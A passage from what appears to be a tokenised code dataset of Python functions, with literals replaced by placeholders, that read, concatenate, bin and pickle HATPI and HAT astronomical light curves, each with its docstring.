np.array([(int(x[<NUM_LIT:1>]) if x[<NUM_LIT:0>].isdigit() else np.nan)<EOL>for x in framekeyelems])<EOL>lcdict['<STR_LIT>'] = np.array([x[<NUM_LIT:2>] for x in framekeyelems])<EOL>lcdict['<STR_LIT>'] = np.array([(int(x[<NUM_LIT:3>]) if x[<NUM_LIT:0>].isdigit() else np.nan)<EOL>for x in framekeyelems])<EOL>lcdict['<STR_LIT>'].extend(['<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>'])<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] = '<STR_LIT>'<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] = [<EOL>'<STR_LIT>' % x for x in np.unique(lcdict['<STR_LIT>']).tolist()<EOL>]<EOL><DEDENT>return lcdict<EOL>", "docstring": "This reads in a textlc that is complete up to the TFA stage.", "id": "f14686:m0"}
{"signature": "def lcdict_to_pickle(lcdict, outfile=None):", "body": "if not outfile and lcdict['<STR_LIT>']:<EOL><INDENT>outfile = '<STR_LIT>' % lcdict['<STR_LIT>']<EOL><DEDENT>elif not outfile and not lcdict['<STR_LIT>']:<EOL><INDENT>outfile = '<STR_LIT>'<EOL><DEDENT>with open(outfile,'<STR_LIT:wb>') as outfd:<EOL><INDENT>pickle.dump(lcdict, outfd, protocol=pickle.HIGHEST_PROTOCOL)<EOL><DEDENT>if os.path.exists(outfile):<EOL><INDENT>LOGINFO('<STR_LIT>' % (lcdict['<STR_LIT>'],<EOL>outfile))<EOL>return outfile<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>')<EOL>return None<EOL><DEDENT>", "docstring": "This just writes the lcdict to a pickle.\n\n    If outfile is None, then will try to get the name from the\n    lcdict['objectid'] and write to <objectid>-hptxtlc.pkl. If that fails, will\n    write to a file named hptxtlc.pkl'.", "id": "f14686:m1"}
{"signature": "def read_hatpi_pklc(lcfile):", "body": "try:<EOL><INDENT>if lcfile.endswith('<STR_LIT>'):<EOL><INDENT>infd = gzip.open(lcfile,'<STR_LIT:rb>')<EOL><DEDENT>else:<EOL><INDENT>infd = open(lcfile,'<STR_LIT:rb>')<EOL><DEDENT>lcdict = pickle.load(infd)<EOL>infd.close()<EOL>return lcdict<EOL><DEDENT>except UnicodeDecodeError:<EOL><INDENT>if lcfile.endswith('<STR_LIT>'):<EOL><INDENT>infd = gzip.open(lcfile,'<STR_LIT:rb>')<EOL><DEDENT>else:<EOL><INDENT>infd = open(lcfile,'<STR_LIT:rb>')<EOL><DEDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % lcfile)<EOL>lcdict = pickle.load(infd, encoding='<STR_LIT>')<EOL>infd.close()<EOL>return lcdict<EOL><DEDENT>", "docstring": "This just reads a pickle LC. Returns an lcdict.", "id": "f14686:m2"}
{"signature": "def concatenate_textlcs(lclist,<EOL>sortby='<STR_LIT>',<EOL>normalize=True):", "body": "<EOL>lcdict = read_hatpi_textlc(lclist[<NUM_LIT:0>])<EOL>lccounter = <NUM_LIT:0><EOL>lcdict['<STR_LIT>'] = {lccounter: os.path.abspath(lclist[<NUM_LIT:0>])}<EOL>lcdict['<STR_LIT>'] = np.full_like(lcdict['<STR_LIT>'], lccounter)<EOL>if normalize:<EOL><INDENT>for col in MAGCOLS:<EOL><INDENT>if col in lcdict:<EOL><INDENT>thismedval = np.nanmedian(lcdict[col])<EOL>if col in ('<STR_LIT>','<STR_LIT>','<STR_LIT>'):<EOL><INDENT>lcdict[col] = lcdict[col] / thismedval<EOL><DEDENT>else:<EOL><INDENT>lcdict[col] = lcdict[col] - thismedval<EOL><DEDENT><DEDENT><DEDENT><DEDENT>for lcf in lclist[<NUM_LIT:1>:]:<EOL><INDENT>thislcd = read_hatpi_textlc(lcf)<EOL>if thislcd['<STR_LIT>'] != lcdict['<STR_LIT>']:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% (lcf, lclist[<NUM_LIT:0>]))<EOL>continue<EOL><DEDENT>else:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>% (lcf,<EOL>thislcd['<STR_LIT>']['<STR_LIT>'],<EOL>lclist[<NUM_LIT:0>],<EOL>lcdict[lcdict['<STR_LIT>'][<NUM_LIT:0>]].size))<EOL>lccounter = lccounter + <NUM_LIT:1><EOL>lcdict['<STR_LIT>'][lccounter] = os.path.abspath(lcf)<EOL>lcdict['<STR_LIT>'] = np.concatenate((<EOL>lcdict['<STR_LIT>'],<EOL>np.full_like(thislcd['<STR_LIT>'],lccounter)<EOL>))<EOL>for col in lcdict['<STR_LIT>']:<EOL><INDENT>if normalize and col in MAGCOLS:<EOL><INDENT>thismedval = np.nanmedian(thislcd[col])<EOL>if col in ('<STR_LIT>','<STR_LIT>','<STR_LIT>'):<EOL><INDENT>thislcd[col] = thislcd[col] / thismedval<EOL><DEDENT>else:<EOL><INDENT>thislcd[col] = thislcd[col] - thismedval<EOL><DEDENT><DEDENT>lcdict[col] = np.concatenate((lcdict[col], thislcd[col]))<EOL><DEDENT><DEDENT><DEDENT>lcdict['<STR_LIT>']['<STR_LIT>'] = lcdict[lcdict['<STR_LIT>'][<NUM_LIT:0>]].size<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] = [<EOL>'<STR_LIT>' % x for x in np.unique(lcdict['<STR_LIT>']).tolist()<EOL>]<EOL>lcdict['<STR_LIT>'] = lccounter + <NUM_LIT:1><EOL>if sortby and sortby in [x[<NUM_LIT:0>] for x in COLDEFS]:<EOL><INDENT>LOGINFO('<STR_LIT>' % sortby)<EOL>sortind = np.argsort(lcdict[sortby])<EOL>for col in lcdict['<STR_LIT>']:<EOL><INDENT>lcdict[col] = lcdict[col][sortind]<EOL><DEDENT>lcdict['<STR_LIT>'] = lcdict['<STR_LIT>'][sortind]<EOL><DEDENT>LOGINFO('<STR_LIT>' %<EOL>lcdict['<STR_LIT>']['<STR_LIT>'])<EOL>return lcdict<EOL>", "docstring": "This concatenates a list of light curves.\n\n    Does not care about overlaps or duplicates. The light curves must all be\n    from the same aperture.\n\n    The intended use is to concatenate light curves across CCDs or instrument\n    changes for a single object. These can then be normalized later using\n    standard astrobase tools to search for variablity and/or periodicity.\n\n    sortby is a column to sort the final concatenated light curve by in\n    ascending order.\n\n    If normalize is True, then each light curve's magnitude columns are\n    normalized to zero.\n\n    The returned lcdict has an extra column: 'lcn' that tracks which measurement\n    belongs to which input light curve. This can be used with\n    lcdict['concatenated'] which relates input light curve index to input light\n    curve filepath. Finally, there is an 'nconcatenated' key in the lcdict that\n    contains the total number of concatenated light curves.", "id": "f14686:m3"}
{"signature": "def concatenate_textlcs_for_objectid(lcbasedir,<EOL>objectid,<EOL>aperture='<STR_LIT>',<EOL>postfix='<STR_LIT>',<EOL>sortby='<STR_LIT>',<EOL>normalize=True,<EOL>recursive=True):", "body": "LOGINFO('<STR_LIT>'<EOL>% (objectid, aperture, lcbasedir))<EOL>if recursive is False:<EOL><INDENT>matching = glob.glob(os.path.join(lcbasedir,<EOL>'<STR_LIT>' % (objectid,<EOL>aperture,<EOL>postfix)))<EOL><DEDENT>else:<EOL><INDENT>if sys.version_info[:<NUM_LIT:2>] > (<NUM_LIT:3>,<NUM_LIT:4>):<EOL><INDENT>matching = glob.glob(os.path.join(lcbasedir,<EOL>'<STR_LIT>',<EOL>'<STR_LIT>' % (objectid,<EOL>aperture,<EOL>postfix)),<EOL>recursive=True)<EOL>LOGINFO('<STR_LIT>' % (len(matching), repr(matching)))<EOL><DEDENT>else:<EOL><INDENT>walker = os.walk(lcbasedir)<EOL>matching = []<EOL>for root, dirs, _files in walker:<EOL><INDENT>for sdir in dirs:<EOL><INDENT>searchpath = os.path.join(root,<EOL>sdir,<EOL>'<STR_LIT>' % (objectid,<EOL>aperture,<EOL>postfix))<EOL>foundfiles = glob.glob(searchpath)<EOL>if foundfiles:<EOL><INDENT>matching.extend(foundfiles)<EOL>LOGINFO(<EOL>'<STR_LIT>' % (repr(foundfiles),<EOL>os.path.join(root,sdir))<EOL>)<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>if matching and len(matching) > <NUM_LIT:0>:<EOL><INDENT>clcdict = concatenate_textlcs(matching,<EOL>sortby=sortby,<EOL>normalize=normalize)<EOL>return clcdict<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>' %<EOL>(objectid, aperture))<EOL>return None<EOL><DEDENT>", "docstring": "This concatenates all text LCs for an objectid with the given aperture.\n\n    Does not care about overlaps or duplicates. The light curves must all be\n    from the same aperture.\n\n    The intended use is to concatenate light curves across CCDs or instrument\n    changes for a single object. These can then be normalized later using\n    standard astrobase tools to search for variablity and/or periodicity.\n\n\n    lcbasedir is the directory to start searching in.\n\n    objectid is the object to search for.\n\n    aperture is the aperture postfix to use: (TF1 = aperture 1,\n                                              TF2 = aperture 2,\n                                              TF3 = aperture 3)\n\n    sortby is a column to sort the final concatenated light curve by in\n    ascending order.\n\n    If normalize is True, then each light curve's magnitude columns are\n    normalized to zero, and the whole light curve is then normalized to the\n    global median magnitude for each magnitude column.\n\n    If recursive is True, then the function will search recursively in lcbasedir\n    for any light curves matching the specified criteria. This may take a while,\n    especially on network filesystems.\n\n    The returned lcdict has an extra column: 'lcn' that tracks which measurement\n    belongs to which input light curve. This can be used with\n    lcdict['concatenated'] which relates input light curve index to input light\n    curve filepath. Finally, there is an 'nconcatenated' key in the lcdict that\n    contains the total number of concatenated light curves.", "id": "f14686:m4"}
{"signature": "def concat_write_pklc(lcbasedir,<EOL>objectid,<EOL>aperture='<STR_LIT>',<EOL>postfix='<STR_LIT>',<EOL>sortby='<STR_LIT>',<EOL>normalize=True,<EOL>outdir=None,<EOL>recursive=True):", "body": "concatlcd = concatenate_textlcs_for_objectid(lcbasedir,<EOL>objectid,<EOL>aperture=aperture,<EOL>sortby=sortby,<EOL>normalize=normalize,<EOL>recursive=recursive)<EOL>if not outdir:<EOL><INDENT>outdir = '<STR_LIT>'<EOL><DEDENT>if not os.path.exists(outdir):<EOL><INDENT>os.mkdir(outdir)<EOL><DEDENT>outfpath = os.path.join(outdir, '<STR_LIT>' % (concatlcd['<STR_LIT>'],<EOL>aperture))<EOL>pklc = lcdict_to_pickle(concatlcd, outfile=outfpath)<EOL>return pklc<EOL>", "docstring": "This concatenates all text LCs for the given object and writes to a pklc.\n\n    Basically a rollup for the concatenate_textlcs_for_objectid and\n    lcdict_to_pickle functions.", "id": "f14686:m5"}
{"signature": "def parallel_concat_worker(task):", "body": "lcbasedir, objectid, kwargs = task<EOL>try:<EOL><INDENT>return concat_write_pklc(lcbasedir, objectid, **kwargs)<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>'<EOL>% (objectid, lcbasedir))<EOL>return None<EOL><DEDENT>", "docstring": "This is a worker for the function below.\n\ntask[0] = lcbasedir\ntask[1] = objectid\ntask[2] = {'aperture','postfix','sortby','normalize','outdir','recursive'}", "id": "f14686:m6"}
{"signature": "def parallel_concat_lcdir(lcbasedir,<EOL>objectidlist,<EOL>aperture='<STR_LIT>',<EOL>postfix='<STR_LIT>',<EOL>sortby='<STR_LIT>',<EOL>normalize=True,<EOL>outdir=None,<EOL>recursive=True,<EOL>nworkers=<NUM_LIT:32>,<EOL>maxworkertasks=<NUM_LIT:1000>):", "body": "if not outdir:<EOL><INDENT>outdir = '<STR_LIT>'<EOL><DEDENT>if not os.path.exists(outdir):<EOL><INDENT>os.mkdir(outdir)<EOL><DEDENT>tasks = [(lcbasedir, x, {'<STR_LIT>':aperture,<EOL>'<STR_LIT>':postfix,<EOL>'<STR_LIT>':sortby,<EOL>'<STR_LIT>':normalize,<EOL>'<STR_LIT>':outdir,<EOL>'<STR_LIT>':recursive}) for x in objectidlist]<EOL>pool = mp.Pool(nworkers, maxtasksperchild=maxworkertasks)<EOL>results = pool.map(parallel_concat_worker, tasks)<EOL>pool.close()<EOL>pool.join()<EOL>return {x:y for (x,y) in zip(objectidlist, results)}<EOL>", "docstring": "This concatenates all text LCs for the given objectidlist.", "id": "f14686:m7"}
{"signature": "def merge_hatpi_textlc_apertures(lclist):", "body": "lcaps = {}<EOL>framekeys = []<EOL>for lc in lclist:<EOL><INDENT>lcd = read_hatpi_textlc(lc)<EOL>for col in lcd['<STR_LIT>']:<EOL><INDENT>if col.startswith('<STR_LIT>'):<EOL><INDENT>lcaps[col] = lcd<EOL><DEDENT><DEDENT>thisframekeys = lcd['<STR_LIT>'].tolist()<EOL>framekeys.extend(thisframekeys)<EOL><DEDENT>framekeys = sorted(list(set(framekeys)))<EOL>", "docstring": "This merges all TFA text LCs with separate apertures for a single object.\n\n    The framekey column will be used as the join column across all light curves\n    in lclist. Missing values will be filled in with nans. This function assumes\n    all light curves are in the format specified in COLDEFS above and readable\n    by read_hatpi_textlc above (i.e. have a single column for TFA mags for a\n    specific aperture at the end).", "id": "f14686:m8"}
{"signature": "def read_hatpi_binnedlc(binnedpklf, textlcf, timebinsec):", "body": "LOGINFO('<STR_LIT>' % binnedpklf)<EOL>lcdict = read_hatpi_textlc(textlcf)<EOL>if binnedpklf.endswith('<STR_LIT>'):<EOL><INDENT>infd = gzip.open(binnedpklf,'<STR_LIT:rb>')<EOL><DEDENT>else:<EOL><INDENT>infd = open(binnedpklf,'<STR_LIT:rb>')<EOL><DEDENT>try:<EOL><INDENT>binned = pickle.load(infd)<EOL><DEDENT>except Exception as e:<EOL><INDENT>infd.seek(<NUM_LIT:0>)<EOL>binned = pickle.load(infd, encoding='<STR_LIT>')<EOL><DEDENT>infd.close()<EOL>blckeys = binned.keys()<EOL>lcdict['<STR_LIT>'] = {}<EOL>for key in blckeys:<EOL><INDENT>if (key == '<STR_LIT>' and<EOL>'<STR_LIT>' in binned[key] and<EOL>'<STR_LIT>' in binned[key] and<EOL>'<STR_LIT>' in binned[key]):<EOL><INDENT>ap0mad = np.nanmedian(np.abs(binned[key]['<STR_LIT>'] -<EOL>np.nanmedian(binned[key]['<STR_LIT>'])))<EOL>ap1mad = np.nanmedian(np.abs(binned[key]['<STR_LIT>'] -<EOL>np.nanmedian(binned[key]['<STR_LIT>'])))<EOL>ap2mad = np.nanmedian(np.abs(binned[key]['<STR_LIT>'] -<EOL>np.nanmedian(binned[key]['<STR_LIT>'])))<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] = {'<STR_LIT>':binned[key]['<STR_LIT>'],<EOL>'<STR_LIT>':binned[key]['<STR_LIT>'],<EOL>'<STR_LIT>':np.full_like(binned[key]['<STR_LIT>'],<EOL>ap0mad),<EOL>'<STR_LIT>':binned[key]['<STR_LIT>'],<EOL>'<STR_LIT>':binned[key]['<STR_LIT>'],<EOL>'<STR_LIT>':timebinsec}<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] = {'<STR_LIT>':binned[key]['<STR_LIT>'],<EOL>'<STR_LIT>':binned[key]['<STR_LIT>'],<EOL>'<STR_LIT>':np.full_like(binned[key]['<STR_LIT>'],<EOL>ap1mad),<EOL>'<STR_LIT>':binned[key]['<STR_LIT>'],<EOL>'<STR_LIT>':binned[key]['<STR_LIT>'],<EOL>'<STR_LIT>':timebinsec}<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] = {'<STR_LIT>':binned[key]['<STR_LIT>'],<EOL>'<STR_LIT>':binned[key]['<STR_LIT>'],<EOL>'<STR_LIT>':np.full_like(binned[key]['<STR_LIT>'],<EOL>ap2mad),<EOL>'<STR_LIT>':binned[key]['<STR_LIT>'],<EOL>'<STR_LIT>':binned[key]['<STR_LIT>'],<EOL>'<STR_LIT>':timebinsec}<EOL><DEDENT>if ((key == '<STR_LIT>' or key == '<STR_LIT>') and<EOL>'<STR_LIT>' in binned[key]):<EOL><INDENT>ap0mad = np.nanmedian(np.abs(binned[key]['<STR_LIT>'] -<EOL>np.nanmedian(binned[key]['<STR_LIT>'])))<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] = {'<STR_LIT>':binned[key]['<STR_LIT>'],<EOL>'<STR_LIT>':binned[key]['<STR_LIT>'],<EOL>'<STR_LIT>':np.full_like(binned[key]['<STR_LIT>'],<EOL>ap0mad),<EOL>'<STR_LIT>':binned[key]['<STR_LIT>'],<EOL>'<STR_LIT>':binned[key]['<STR_LIT>'],<EOL>'<STR_LIT>':timebinsec}<EOL><DEDENT>if ((key == '<STR_LIT>' or key == '<STR_LIT>') and<EOL>'<STR_LIT>' in binned[key]):<EOL><INDENT>ap0mad = np.nanmedian(np.abs(binned[key]['<STR_LIT>'] -<EOL>np.nanmedian(binned[key]['<STR_LIT>'])))<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] = {'<STR_LIT>':binned[key]['<STR_LIT>'],<EOL>'<STR_LIT>':binned[key]['<STR_LIT>'],<EOL>'<STR_LIT>':np.full_like(binned[key]['<STR_LIT>'],<EOL>ap0mad),<EOL>'<STR_LIT>':binned[key]['<STR_LIT>'],<EOL>'<STR_LIT>':binned[key]['<STR_LIT>'],<EOL>'<STR_LIT>':timebinsec}<EOL><DEDENT>if ((key == '<STR_LIT>' or key == '<STR_LIT>') and<EOL>'<STR_LIT>' in binned[key]):<EOL><INDENT>ap0mad = np.nanmedian(np.abs(binned[key]['<STR_LIT>'] -<EOL>np.nanmedian(binned[key]['<STR_LIT>'])))<EOL>lcdict['<STR_LIT>']['<STR_LIT>'] = {'<STR_LIT>':binned[key]['<STR_LIT>'],<EOL>'<STR_LIT>':binned[key]['<STR_LIT>'],<EOL>'<STR_LIT>':np.full_like(binned[key]['<STR_LIT>'],<EOL>ap0mad),<EOL>'<STR_LIT>':binned[key]['<STR_LIT>'],<EOL>'<STR_LIT>':binned[key]['<STR_LIT>'],<EOL>'<STR_LIT>':timebinsec}<EOL><DEDENT><DEDENT>if lcdict['<STR_LIT>']:<EOL><INDENT>return lcdict<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>' % binnedpklf)<EOL>return None<EOL><DEDENT>", "docstring": "This reads a binnedlc pickle produced by the HATPI prototype pipeline.\n\n    Converts it into a standard lcdict as produced by the read_hatpi_textlc\n    function above by using the information in unbinnedtextlc for the same\n    object.\n\n    Adds a 'binned' key to the standard lcdict containing the binned mags, etc.", "id": "f14686:m9"}
{"signature": "def generate_hatpi_binnedlc_pkl(binnedpklf, textlcf, timebinsec,<EOL>outfile=None):", "body": "binlcdict = read_hatpi_binnedlc(binnedpklf, textlcf, timebinsec)<EOL>if binlcdict:<EOL><INDENT>if outfile is None:<EOL><INDENT>outfile = os.path.join(<EOL>os.path.dirname(binnedpklf),<EOL>'<STR_LIT>' % (<EOL>os.path.basename(binnedpklf).replace('<STR_LIT>','<STR_LIT>')<EOL>)<EOL>)<EOL><DEDENT>return lcdict_to_pickle(binlcdict, outfile=outfile)<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>' % binnedpklf)<EOL>return None<EOL><DEDENT>", "docstring": "This reads the binned LC and writes it out to a pickle.", "id": "f14686:m10"}
{"signature": "def parallel_gen_binnedlc_pkls(binnedpkldir,<EOL>textlcdir,<EOL>timebinsec,<EOL>binnedpklglob='<STR_LIT>',<EOL>textlcglob='<STR_LIT>'):", "body": "binnedpkls = sorted(glob.glob(os.path.join(binnedpkldir, binnedpklglob)))<EOL>textlcs = []<EOL>for bpkl in binnedpkls:<EOL><INDENT>objectid = HATIDREGEX.findall(bpkl)<EOL>if objectid is not None:<EOL><INDENT>objectid = objectid[<NUM_LIT:0>]<EOL><DEDENT>searchpath = os.path.join(textlcdir, '<STR_LIT>' % (objectid, textlcglob))<EOL>textlcf = glob.glob(searchpath)<EOL>if textlcf:<EOL><INDENT>textlcs.append(textlcf)<EOL><DEDENT>else:<EOL><INDENT>textlcs.append(None)<EOL><DEDENT><DEDENT>", "docstring": "This generates the binnedlc pkls for a directory of such files.\n\nFIXME: finish this", "id": "f14686:m11"}
{"signature": "def pklc_fovcatalog_objectinfo(<EOL>pklcdir,<EOL>fovcatalog,<EOL>fovcatalog_columns=[<NUM_LIT:0>,<NUM_LIT:1>,<NUM_LIT:2>,<EOL><NUM_LIT:6>,<NUM_LIT:7>,<EOL><NUM_LIT:8>,<NUM_LIT:9>,<EOL><NUM_LIT:10>,<NUM_LIT:11>,<EOL><NUM_LIT>,<NUM_LIT>,<NUM_LIT:15>,<NUM_LIT:16>,<EOL><NUM_LIT>,<NUM_LIT>,<NUM_LIT>,<EOL><NUM_LIT:20>,<NUM_LIT>],<EOL>fovcatalog_colnames=['<STR_LIT>','<STR_LIT>','<STR_LIT>',<EOL>'<STR_LIT>','<STR_LIT>',<EOL>'<STR_LIT>','<STR_LIT>',<EOL>'<STR_LIT>','<STR_LIT>',<EOL>'<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>',<EOL>'<STR_LIT>','<STR_LIT>','<STR_LIT>',<EOL>'<STR_LIT>','<STR_LIT>'],<EOL>fovcatalog_colformats=('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>):", "body": "if fovcatalog.endswith('<STR_LIT>'):<EOL><INDENT>catfd = gzip.open(fovcatalog)<EOL><DEDENT>else:<EOL><INDENT>catfd = open(fovcatalog)<EOL><DEDENT>fovcat = np.genfromtxt(catfd,<EOL>usecols=fovcatalog_columns,<EOL>names=fovcatalog_colnames,<EOL>dtype=fovcatalog_colformats)<EOL>catfd.close()<EOL>pklclist = sorted(glob.glob(os.path.join(pklcdir, '<STR_LIT>')))<EOL>updatedpklcs, failedpklcs = [], []<EOL>for pklc in pklclist:<EOL><INDENT>lcdict = read_hatpi_pklc(pklc)<EOL>objectid = lcdict['<STR_LIT>']<EOL>catind = np.where(fovcat['<STR_LIT>'] == objectid)<EOL>if len(catind) > <NUM_LIT:0> and catind[<NUM_LIT:0>]:<EOL><INDENT>lcdict['<STR_LIT>'].update(<EOL>{x:y for x,y in zip(<EOL>fovcatalog_colnames,<EOL>[np.asscalar(fovcat[z][catind]) for<EOL>z in fovcatalog_colnames]<EOL>)<EOL>}<EOL>)<EOL>with open(pklc+'<STR_LIT>','<STR_LIT:wb>') as outfd:<EOL><INDENT>pickle.dump(lcdict, outfd, pickle.HIGHEST_PROTOCOL)<EOL><DEDENT>if os.path.exists(pklc+'<STR_LIT>'):<EOL><INDENT>shutil.move(pklc+'<STR_LIT>',pklc)<EOL>LOGINFO('<STR_LIT>' %<EOL>(pklc, objectid,<EOL>lcdict['<STR_LIT>']['<STR_LIT>'],<EOL>lcdict['<STR_LIT>']['<STR_LIT>']))<EOL>updatedpklcs.append(pklc)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>failedpklcs.append(pklc)<EOL><DEDENT><DEDENT>return updatedpklcs, failedpklcs<EOL>", "docstring": "Adds catalog info to objectinfo key of all pklcs in lcdir.\n\n    If fovcatalog, fovcatalog_columns, fovcatalog_colnames are provided, uses\n    them to find all the additional information listed in the fovcatalog_colname\n    keys, and writes this info to the objectinfo key of each lcdict. This makes\n    it easier for astrobase tools to work on these light curve.\n\n    The default set up for fovcatalog is to use a text file generated by the\n    HATPI pipeline before auto-calibrating a field. The format is specified as\n    above in _columns,  _colnames, and _colformats.", "id": "f14686:m12"}
{"signature": "def read_hatlc(hatlc):", "body": "lcfname = os.path.basename(hatlc)<EOL>if '<STR_LIT>' in lcfname:<EOL><INDENT>lcf = gzip.open(hatlc,'<STR_LIT:rb>')<EOL><DEDENT>elif '<STR_LIT>' in lcfname:<EOL><INDENT>lcf = bz2.BZ2File(hatlc, '<STR_LIT:rb>')<EOL><DEDENT>else:<EOL><INDENT>lcf = open(hatlc,'<STR_LIT:rb>')<EOL><DEDENT>if '<STR_LIT>' in lcfname and HAVEPYFITS:<EOL><INDENT>hdulist = pyfits.open(lcf)<EOL>objectinfo = hdulist[<NUM_LIT:0>].header<EOL>objectlc = hdulist[<NUM_LIT:1>].data<EOL>lccols = objectlc.columns.names<EOL>hdulist.close()<EOL>lcf.close()<EOL>lcdict = {}<EOL>for col in lccols:<EOL><INDENT>lcdict[col] = np.array(objectlc[col])<EOL><DEDENT>lcdict['<STR_LIT>'] = objectinfo['<STR_LIT>']<EOL>lcdict['<STR_LIT>'] = objectinfo['<STR_LIT>']<EOL>lcdict['<STR_LIT>'] = objectinfo['<STR_LIT>']<EOL>lcdict['<STR_LIT>'] = objectinfo['<STR_LIT>']<EOL>lcdict['<STR_LIT>'] = [objectinfo[x] for x in ('<STR_LIT>','<STR_LIT>','<STR_LIT>',<EOL>'<STR_LIT>','<STR_LIT>','<STR_LIT>')]<EOL>lcdict['<STR_LIT>'] = objectinfo['<STR_LIT>']<EOL>lcdict['<STR_LIT>'] = objectinfo['<STR_LIT>']<EOL>lcdict['<STR_LIT>'] = objectinfo['<STR_LIT>']<EOL>lcdict['<STR_LIT>'] = lccols<EOL>return lcdict<EOL><DEDENT>elif '<STR_LIT>' in lcfname and not HAVEPYFITS:<EOL><INDENT>print(\"<STR_LIT>\" % lcfname)<EOL>return<EOL><DEDENT>elif '<STR_LIT>' in lcfname or '<STR_LIT>' in lcfname:<EOL><INDENT>lcflines = lcf.read().decode().split('<STR_LIT:\\n>')<EOL>lcf.close()<EOL>objectdata = [x for x in lcflines if x.startswith('<STR_LIT:#>')]<EOL>objectlc = [x for x in lcflines if not x.startswith('<STR_LIT:#>')]<EOL>objectlc = [x for x in objectlc if len(x) > <NUM_LIT:1>]<EOL>if '<STR_LIT>' in lcfname:<EOL><INDENT>objectlc = [x.split('<STR_LIT:U+002C>') for x in objectlc]<EOL><DEDENT>else:<EOL><INDENT>objectlc = [x.split() for x in objectlc]<EOL><DEDENT>objectlc = list(zip(*objectlc))<EOL>objectdata = [x.strip('<STR_LIT:#>') for x in objectdata]<EOL>objectdata = [x.strip() for x in objectdata]<EOL>objectdata = [x for x in objectdata if len(x) > <NUM_LIT:0>]<EOL>hatid, twomassid = objectdata[<NUM_LIT:0>].split('<STR_LIT>')<EOL>ra, dec = objectdata[<NUM_LIT:1>].split('<STR_LIT:U+002CU+0020>')<EOL>ra = float(ra.split('<STR_LIT>')[-<NUM_LIT:1>].strip('<STR_LIT>'))<EOL>dec = float(dec.split('<STR_LIT>')[-<NUM_LIT:1>].strip('<STR_LIT>'))<EOL>vmag, rmag, imag, jmag, hmag, kmag = objectdata[<NUM_LIT:2>].split('<STR_LIT:U+002CU+0020>')<EOL>vmag = float(vmag.split('<STR_LIT>')[-<NUM_LIT:1>])<EOL>rmag = float(rmag.split('<STR_LIT>')[-<NUM_LIT:1>])<EOL>imag = float(imag.split('<STR_LIT>')[-<NUM_LIT:1>])<EOL>jmag = float(jmag.split('<STR_LIT>')[-<NUM_LIT:1>])<EOL>hmag = float(hmag.split('<STR_LIT>')[-<NUM_LIT:1>])<EOL>kmag = float(kmag.split('<STR_LIT>')[-<NUM_LIT:1>])<EOL>ndet = int(objectdata[<NUM_LIT:3>].split('<STR_LIT>')[-<NUM_LIT:1>])<EOL>hatstations = objectdata[<NUM_LIT:4>].split('<STR_LIT>')[-<NUM_LIT:1>]<EOL>filterhead_ind = objectdata.index('<STR_LIT>')<EOL>columnhead_ind = objectdata.index('<STR_LIT>')<EOL>filters = objectdata[filterhead_ind:columnhead_ind]<EOL>columndefs = objectdata[columnhead_ind+<NUM_LIT:1>:]<EOL>columns = []<EOL>for line in columndefs:<EOL><INDENT>colnum, colname, coldesc = line.split('<STR_LIT>')<EOL>columns.append(colname)<EOL><DEDENT>lcdict = {}<EOL>for ind, col in enumerate(columns):<EOL><INDENT>lcdict[col] = np.array([TEXTLC_OUTPUT_COLUMNS[col][<NUM_LIT:3>](x)<EOL>for x in objectlc[ind]])<EOL><DEDENT>lcdict['<STR_LIT>'] = hatid<EOL>lcdict['<STR_LIT>'] = twomassid.replace('<STR_LIT>','<STR_LIT>')<EOL>lcdict['<STR_LIT>'] = ra<EOL>lcdict['<STR_LIT>'] = dec<EOL>lcdict['<STR_LIT>'] = [vmag, rmag, imag, jmag, hmag, kmag]<EOL>lcdict['<STR_LIT>'] = ndet<EOL>lcdict['<STR_LIT>'] = hatstations.split('<STR_LIT:U+002CU+0020>')<EOL>lcdict['<STR_LIT>'] = filters[<NUM_LIT:1>:]<EOL>lcdict['<STR_LIT>'] = columns<EOL>return lcdict<EOL><DEDENT>", "docstring": "This reads a consolidated HAT LC written by the functions above.\n\nReturns a dict.", "id": "f14687:m0"}
{"signature": "def read_original_textlc(lcpath):", "body": "LOGINFO('<STR_LIT>'.format(lcpath))<EOL>N_lines_to_parse_comments = <NUM_LIT:50><EOL>with open(lcpath, '<STR_LIT:rb>') as file:<EOL><INDENT>head = [next(file) for ind in range(N_lines_to_parse_comments)]<EOL><DEDENT>N_comment_lines = len([l for l in head if l.decode('<STR_LIT>')[<NUM_LIT:0>] == '<STR_LIT:#>'])<EOL>if N_comment_lines < N_lines_to_parse_comments:<EOL><INDENT>LOGERROR(<EOL>'<STR_LIT>'.format(fpath=lcpath)<EOL>)<EOL>return None<EOL><DEDENT>first_data_line = list(<EOL>filter(None, head[N_comment_lines].decode('<STR_LIT>').split())<EOL>)<EOL>N_cols = len(first_data_line)<EOL>if N_cols == <NUM_LIT>:<EOL><INDENT>colformat = '<STR_LIT>'<EOL><DEDENT>elif N_cols == <NUM_LIT:20>:<EOL><INDENT>colformat = '<STR_LIT>'<EOL><DEDENT>elif N_cols == <NUM_LIT:32>:<EOL><INDENT>colformat = 